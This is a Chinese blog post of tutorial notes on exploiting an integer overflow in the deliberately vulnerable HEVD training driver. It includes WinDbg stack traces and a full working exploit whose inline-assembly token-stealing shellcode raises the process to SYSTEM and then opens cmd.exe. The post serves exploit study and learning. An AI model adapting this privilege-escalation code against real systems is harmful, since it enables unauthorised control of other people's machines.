Windows内核漏洞学习-内核利用程序之整数溢出

0x00:前言

这是最后一个简单的漏洞利用了,话不多说直接开始吧。

0x01:漏洞原理

这里是漏洞程序源码:

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");

        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif

        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

对比安全版本和不安全版本,这里本意是想判断用户输入的大小不超过BUFFER_SIZE-4,但是不安全的版本却用

(Size + TerminatorSize) > sizeof(KernelBuffer)

来判断,这里SIZE_T类型为4字节无符号整数,整数溢出会导致0xfffffff+4=3,从而导致很大的Size也可以通过验证。这里用原文的演示代码演示一下:

PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3

这也就是整数溢出的漏洞了。

0x02:漏洞分析

在这两处下断点,可以看到我们输入的数据是多少个ULONG,以及输入后的数据距离返回地址的距离。

首先使用正常大小的数据进行访问。

VOID Trigger_shellcode()
{
	DWORD bReturn = 0;
	PULONG buf = (PULONG)malloc(4*4);
	memset(buf, 0x41, 4*4);
	DeviceIoControl(hDevice, 0x222027, buf, 4*4, NULL, 0, &bReturn, NULL);
}

可以看出我们一共输入了四个ULONG类型数字。

Breakpoint 0 hit
8e2e2a82 3bf8            cmp     edi,eax
kd> r
eax=00000004 ebx=00000010 ecx=00451918 edx=00000020 esi=00000800 edi=00000000
eip=8e2e2a82 esp=8d99929c ebp=8d999ad0 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
8e2e2a82 3bf8            cmp     edi,eax
//eax为输入数据总数量

继续执行,停在第一次赋值的地方。

kd> dd ebp-0x824
8d9992ac  41414141 00000000 00000000 00000000
8d9992bc  00000000 00000000 00000000 00000000
8d9992cc  00000000 00000000 00000000 00000000
8d9992dc  00000000 00000000 00000000 00000000
8d9992ec  00000000 00000000 00000000 00000000
8d9992fc  00000000 00000000 00000000 00000000
8d99930c  00000000 00000000 00000000 00000000
8d99931c  00000000 00000000 00000000 00000000
kd> kk
Couldn't resolve error at 'k'
kd> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8d999ad0 [8e2e2afe]=返回地址 0x8e2e2a9b
01 8d999ae0 8e2e3243 0x8e2e2afe
02 8d999afc 83e40593 0x8e2e3243
03 8d999b14 8403499f nt+0x37593
04 8d999b34 84037b71 nt+0x22b99f
05 8d999bd0 8407e3f4 nt+0x22eb71
06 8d999c04 83e471ea nt+0x2753f4
07 8d999c34 77af70b4 nt+0x3e1ea
08 8d999c38 badb0d00 0x77af70b4
09 8d999c3c 002bf5d0 0xbadb0d00
0a 8d999c40 00000000 0x2bf5d0
kd> dd ebp
8d999ad0  8d999ae0 [8e2e2afe]返回地址 00451918 00000010
8d999ae0  8d999afc 8e2e3243 87e51110 87e51180
8d999af0  8584ddf8 858fab08 00000000 8d999b14
8d999b00  83e40593 858fab08 87e51110 87e51110
8d999b10  858fab08 8d999b34 8403499f 8584ddf8
8d999b20  87e51110 87e51180 00000094 04999bac
8d999b30  8d999b44 8d999bd0 84037b71 858fab08
8d999b40  8584ddf8 00000000 83e9a201 00027801

可以看到第一次赋值在ebp-0x824的地址处,而返回地址在ebp+4处,因此首先用0x828个任意数据填充Buffer,再填充的数据为Shellcode地址,再填充停止边界字符即可。

VOID Trigger_shellcode()
{
	PVOID MemoAddress = NULL;
	DWORD bReturn = 0;
	PULONG buf = (PULONG)malloc(0x830);
	memset(buf, 0x41, 0x828);
	MemoAddress = (PVOID)((ULONG)buf + 0x828);
	printf("[+]MemoAddress 0x%p", MemoAddress);
	*(PULONG)MemoAddress = (ULONG)&ShellCode;
	MemoAddress  =(PVOID)((ULONG)MemoAddress +4);
	*(PULONG)MemoAddress = 0xbad0b0b0;
	DeviceIoControl(hDevice, 0x222027, buf,0xffffffff, NULL, 0, &bReturn, NULL);
}

运行结果

kd> dd ebp
935bdad0  41414141 011b1343 003f4e0c ffffffff
935bdae0  935bdafc 8e2e3243 87462420 87462490
935bdaf0  85aa5840 858fab08 00000000 935bdb14
935bdb00  83e40593 858fab08 87462420 87462420
935bdb10  858fab08 935bdb34 8403499f 85aa5840
935bdb20  87462420 87462490 00000094 045bdbac
935bdb30  935bdb44 935bdbd0 84037b71 858fab08
935bdb40  85aa5840 00000000 83e9a201 00028301

可以看到返回地址已经被修改,这里的操作其实与栈溢出相同。只是利用的漏洞点不同。但是这里会遇到一个异常报错,在原帖教程里并没有提到。就是在 Shellcode函数声名中,一定要写**__declspec(naked) VOID ShellCode()**,该声名表示编译器不会自动构建一些pub ebp之类的操作,完全按照自己的汇编代码执行,才不会导致堆栈崩溃。

0x03:漏洞利用

在这里插入图片描述

#include <Windows.h>
#include <stdio.h>

HANDLE hDevice = NULL;

/************************************************************************/
/*                 Write by Thunder_J 2019.7                            */
/*               Uninitialized-Stack-Variable                           */
/************************************************************************/

typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
	IN PVOID          VirtualAddress,
	IN ULONG_PTR      NumberOfPages,
	IN OUT PULONG_PTR UserPfnArray);

__declspec(naked) VOID ShellCode()
{
	__asm
	{

		pushad
		mov eax, fs: [124h]
		mov eax, [eax + 050h]
		mov ecx, eax
		mov edx, 4

		find_sys_pid :
		mov eax, [eax + 0b8h]
		sub eax, 0b8h
		cmp[eax + 0b4h], edx
		jnz find_sys_pid

		mov edx, [eax + 0f8h]
		mov[ecx + 0f8h], edx
		popad
		xor eax,eax
		pop ebp
		ret 8
	}
}

BOOL init()
{
	if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
		printf("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
	}
	else {
		printf("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
	}
	// Get HANDLE
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		return FALSE;
	}
	printf("[+]Success to get HANDLE!\n");
	return TRUE;
}


static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


VOID Trigger_shellcode()
{
	PVOID MemoAddress = NULL;
	DWORD bReturn = 0;
	PULONG buf = (PULONG)HeapAlloc(GetProcessHeap(),
		HEAP_ZERO_MEMORY,
		0x830);
	if (!buf)
	{
		printf("堆申请失败");
		exit(0);
	}
	RtlFillMemory((PVOID)buf, 0x830, 0x41);
	MemoAddress = (PVOID)((ULONG)buf + 0x828 - 32);
	*(PULONG)MemoAddress = (ULONG)0x00000000;
	MemoAddress = (PVOID)((ULONG)buf + 0x828);
	*(PULONG)MemoAddress = (ULONG)&ShellCode;
	MemoAddress = (PVOID)((ULONG)MemoAddress + sizeof(ULONG));
	*(PULONG)MemoAddress =(ULONG) 0xbad0b0b0;
	DeviceIoControl(hDevice, 0x222027, buf, (DWORD)0xffffffff, NULL, 0, &bReturn, NULL);
	HeapFree(GetProcessHeap(), 0, (LPVOID)buf);
}

int main()
{

	if (init() == FALSE)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}

	Trigger_shellcode();

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");

	return 0;
}

0x04:明日计划

继续学习HEVD系列漏洞利用

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值